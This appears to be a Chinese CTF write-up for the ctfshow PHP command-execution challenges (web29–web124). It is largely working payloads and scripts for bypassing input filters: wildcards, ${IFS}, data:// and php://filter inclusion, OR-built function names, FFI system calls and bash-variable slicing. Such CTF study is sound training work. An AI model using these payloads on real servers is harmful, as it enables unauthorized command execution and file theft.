0%

ctfshow命令执行

ctfshow的命令执行

image-20220713124728656

web29

image-20220315211906358代码审计,eval函数的作用就是让输入的字符串当作php代码进行执行,get输参c系统命令,ls列目录image-20220315212034460

这代码里面对flag进行了过滤,可以用*或?进行绕过

image-20220315212224001

?c=system("ls");
?c=system("tac%20fla*.php");

web30

image-20220315212735626

发现flag,system,php这些字样都被过滤,那么就不能用系统命令来执行,但是据了解,php还支持一个执行运算符,就是反引号`,php会把反引号里面的内容当作shell命令去执行,从而替代了系统命令。echo函数的作用是输出一个或多个字符串,这里需要说一声,在执行命令的时候,这个反引号里面的内容并不是直接当成标准输出,而是当成一个变量进行输出。

image-20220315213907240

?c=echo`ls`;
?c=echo`tac fla*.p*p;

然后后面的考察点和上一题一样

image-20220315213952047

web31

image-20220315214138088

这个题过滤的更多,flag,system,php,cat,sort,shell,还过滤了空格,可以用%09(代替空格)绕过image-20220315214648820

?c=echo`ls%09`;
?c=echo`tac%09fla*`;

image-20220315214934150

web32

image-20220316195346562

这道题又增加了对echo的过滤,经查询发现php中不用括号的有echo以及include等等image-20220316195725337

image-20220316200346650

这里学习到用?>可以代替;

所以这道题有两种解法,一种是利用文件包含的rce,

?c=include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>

image-20220316200646145

或者利用php伪协议来读取php文件

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

image-20220316200947406

image-20220316200955434

web33

这道题和上道题相比多了个括号过滤,逃逸文件包含用不到括号所以解题思路跟上题一样

web34

过滤时多过滤了一个=和一个<,解题思路跟上题一样

web35

过滤时多过滤了一个=和一个<,解题思路跟上题一样

web36

image-20220316202435082

这道题跟上面的也是一样,只不过因为又过滤了数字,所以把0改成字母就可!

web37

image-20220316202701784

这道题没有过滤太多东西,就过滤了个flag

/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>

上面两种绕过方式就是举例,这道题的绕过方式很多。

image-20220316203257934

web38

image-20220316203532744

发现过滤了flag,php,file,文件包含漏洞,输出flag

考虑到使用data协议,这道题因为过滤了php,所以要使用短标签

对于正常标签就是<?php,而短标签就是<?

/?c=data://text/plain,<?=system("ls");

image-20220316203905163

/?c=data://text/plain,<?=system("tac fla*.p*p");

image-20220316204110876

这道题也可以直接

?c=data://text/plain,<?= system("cat fla*");?>

同样可以得到flag!

web39

image-20220316204532318

下面这是官方给的hintimage-20220316204558730

这个跟上题解法一样

?c=data://text/plain,<?= system("cat fla*");?>

然后查看源代码得到flag

image-20220316204659428

web40

image-20220316204834861

这道题过滤了很多字符,利用get_defined_vars()

?c=eval(end(current(get_defined_vars())));&a=system("ls");

image-20220316205101652

tac得到flagimage-20220316205117877

web41

image-20220316205218255

这道题把数字和字母都过滤了,写个脚本

import re
import requests

url="http://2a2e4b71-f1ff-4953-8b14-bd26f6633fdc.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

image-20220316212021042

cat一下就出来了!

image-20220316212108446

web42

image-20220316213345412

在给变量c赋值的语句下面的语句”>/dev/null 2>&1“ ,可以将其理解成将输入的数写入黑洞,也就是说只要执行一个命令都无效

>/dev/null 意思就是把错误输出到“黑洞”

/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”

所以可以?c=ls&&ls,这里需要强调一下,需要先url编码之后再执行

image-20220316213603124

image-20220316213710142

image-20220316213616093

web43

image-20220316214137648

过滤了cat,cat可以用tac代替,;可以用%0a代替

tac flag.php%0a

image-20220316214354134

web44

image-20220317193356268

过滤了flag以及cat,system‘函数将输入的参数的后面还是写入了黑洞,解决办法就是双写

2>/dev/null 意思就是把错误输出到“黑洞”
>/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
-2>&1 >/dev/null- -意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕-

所以还是先跟上一题一样?c=ls&&ls,这里要求先进行url编码之后再执行image-20220317193902380

image-20220317193933690

但是因为已经过滤了cat,所以用tac!!image-20220317194121118

web45

image-20220317194219994

一如既往,这道题过滤了;,cat,flag还有空格,同时又写入黑洞,用上一题的方法依旧可以回显[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jhIDgLIA-1648814972961)(https://gitee.com/hzy2003628/drawing-bed/raw/master/images/20220317194335.png)]

但是读取的时候原来的方法不再出现回显image-20220317194518987

&&代表执行两个命令,让后面的命令进入黑洞,以便于能够正常执行前面的命令,这道题因为过滤了空格,所以用tab制表符代替空格,%09就是tab制表符的url编码

image-20220317194848055

web46

image-20220317194929182

过滤了;,cat,flag,数字,*,$

发现上一题的payload照样可以用image-20220317195114914

image-20220317195144560

web47

image-20220317195227814

过滤了一些字符,但是貌似用不到这些字符,用同样的方法依然可以解决!

image-20220317195319376

image-20220317195343908

学习一下新知识,这道题还可以nl<fla''g.php||

nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞

web48

image-20220317195458944

image-20220317195609287

image-20220317195633101

过滤的字符对这种绕过方法不受影响,所以前面的解法依然适用!

web49

image-20220317195746781

解法同上!

当然下面的官方给的hint方法也可以image-20220317200009855

web50

image-20220317200050967

这道题不能用前面的方法来解决了,因为过滤了%

这个时候就需要使用其他过滤方法绕过,上面有一题提到了一种其他解法,/?c=ls<p||,盲猜这题应该也是又php文件,所以ls所有带p的image-20220317200735399

nl命令在linux系统中用来计算文件中行号。nl可以将输出的文件内容自动的加上行号。
< 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。
所以可以使用<或者<>绕过空格,使用\插入到flag中

然后/?c=nl<fla\g.php||image-20220317201124402

web51

image-20220317201208986

这道题把tac也过滤了!

这里可以输上题的payload,但是回显是1,考虑到1就是正确,查看源代码即可得到flag!image-20220317201856660

我用的tac的payload,因为过滤了tac所以可以在tac中间插入\

/?c=ta\c<fla\g.php||

image-20220317201524099

web52

image-20220317201932533

这道题把<>也过滤了

那么使用${IFS}绕过空格。

关于IFS的解释:
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

/?c=ta\c${IFS}fla\g.php||

但是发现不在这里,又进行逐层寻找,最终找到flag

image-20220317202637315

tac一下得到flag!这里不要忘记过滤了flag还有tac都需要插入\来进行过滤!image-20220317202754220

web53

image-20220317202834683

这道题不再有黑洞了,不用绕黑洞了!上题的payload这题照样适用,把绕黑洞的去掉就可!

/?c=nl${IFS}fla\g.php

image-20220317203157699

/?c=ta\c${IFS}fla\g.php

image-20220317203250780

web54

image-20220317203610103

可以使用mv命令:
mv命令用来为文件或目录改名、或将文件或目录移入其它位置。

/?c=mv${IFS}fl?g.php${IFS}a.txt

然后flag.php就改名为a.txt,然后直接访问就可得到flag!

image-20220317203859480

web55

image-20220317203934001

这个过滤了所有的字母

/?c=/???/????64 ????.???                     //也就是?c=/bin/base64 flag.php

通过匹配bin下存在的命令进行读取flag。
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

image-20220317204237757

解码得到flag!image-20220317204255791

web56

image-20220317204357217

还是过滤了所有的字母!

抓包后西显示如下

image-20220317205344974

构造poc执行命令

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
在这里插入图片描述

在这个之前我们需要构造一个post上传文件的数据包。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image-20220317210103212

然后抓包image-20220317210115562

暂时没有找到解决办法!

web57

image-20220317210950317

里面有个提示flag就在36.php里,

已知

┌──(amateur㉿kali)-[~]
└─$ echo $((~$(()))) 
-1                                                   
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))))))            
1                                                     
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))))))
2

所以访问36.php只需要将里面的元素复制到36个,编写python脚本生成,上传得到flag


python脚本:

s1 = "$((~$(("
s2 = ""
lils2 = "$((~$(())))"
s3 = "))))"

for i in range(37):
    s2 += lils2

print(s1+s2+s3)

输出:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20220317211444172

验证:

┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
36

payload:

url/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$(

image-20220317211458425

web58

image-20220317211629048

这道题需要post传参,可以通过高亮显示php文件

show_source(“flag.php”);

highlight_file(“flag.php”);

image-20220318195111259

web59

image-20220318195323992

同上

image-20220318195407992

web60

同上

web61

同上

web62

同上

web63

同上

web64

同上

web65

同上

web66

image-20220318203443507

image-20220318203454310

用show_source(),回显该函数被禁用,查看根目录下的文件

c=print_r(scandir(“/”));

image-20220318203633187

查看根目录下的文件

c=highlight_file(“/flag.txt”);

image-20220318203848272

web67

image-20220318203950563

print_r()被禁用
查看根目录下有哪些文件:
用这个代替

c=var_dump(scandir(“/”));
c=highlight_file(‘/flag.txt’);

image-20220318204102115

image-20220318204113038

web68

image-20220318204235651

show_source()和highlight_file()被禁用
POST:c=include(‘/flag.txt’);

image-20220318204300791

web69

image-20220318204417825

查看根目录下的文件:
但是print_r()、var_dump()被禁用

用下面的代替

POST:c=var_export(scandir(“/”));
POST:c=include(‘/flag.txt’);

image-20220318204444663

image-20220318204515211

web70

image-20220318204627454

尝试使用c=include(‘index.php’);但是不行,盲猜应该还是在/flag.txt里面

所以c=include(‘/flag.txt’);

image-20220318205146853

web71

image-20220318205409118

用include函数不行了

image-20220318205432162

可以在后面加个exit函数,让匹配到缓冲区不执行就退出image-20220318205601796

web72

image-20220318205707478

先看一下源码

image-20220318205822789

这题对我来说有点难度,看了网上的wp。

先查询flag的位置

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

image-20220318210222426

这题未解出。。。。。。

web73

image-20220318210902325

先读取目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

image-20220318210924758

看到flag,直接include

c=include('/flagc.txt');exit();

image-20220318211013551

web74

image-20220318211111209

还是先读取根目录内容

image-20220318211136513

找到flag,试试直接include

image-20220318211304920

web75

image-20220318211339908

解法同上

image-20220318211407598

貌似不是同上,因为include函数有不行了,可以使用一些可使用的进程去读flag,这里使用PDO(PHP Database Object)去执行sql语句进而读取flag,payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

image-20220318211722798

web76

image-20220318211840950

列目录

image-20220318211911599

image-20220318211929195

解法和上题一样!

web77

image-20220318212041971

还是先读目录

image-20220318212111711

还是常使用POD读取flag36x.php但是失败了,根据提示使用PHP7.4以上才有的FFI进行命令执行,所以再构造

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

image-20220318212249549

readflag是专门用来读flag的。
然后访问/1.txt即可。

image-20220318212314783

web118

image-20220318212434056

难得的新界面!查看一下源代码

image-20220318212454255

system($code); 这就是说明我们可以执行命令,但是有些指令是被ban的

利用系统变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.???

image-20220713121341725

web119

跟上题一样的界面,又多了过滤的东西,上面的payload也被ban了

${SHLVL}       //一般是一个个位数
${#SHLVL}     //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}}       //表示/
${USER}        //www-data
${PHP_VERSION:~A}       //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at

payload如下

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
/???/?at ????.???

image-20220713122441821

web120

题目如下


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){   //  限制长度
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

测试发现过滤了PATH,采用shell的base64加密

base64路径在/bin/base64,用?匹配的时候需要匹配全路径,不能只匹配base64

payload(由于用了随机函数,可能要多试几次)

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

image-20220713123133000

web121

题目如下


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

又过滤了SHLVL,可以用#?来代替,payload如下

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???  // /bin/base64 flag.php

image-20220713123721471

web122

题目如下

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

官方wp给的payload

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

反复刷新就出来了

image-20220713123941038

web124

题目如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 
添加头部信息:1=tac flag.php
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

这俩都行

image-20220713124248743

制作不易,如若感觉写的不错,欢迎打赏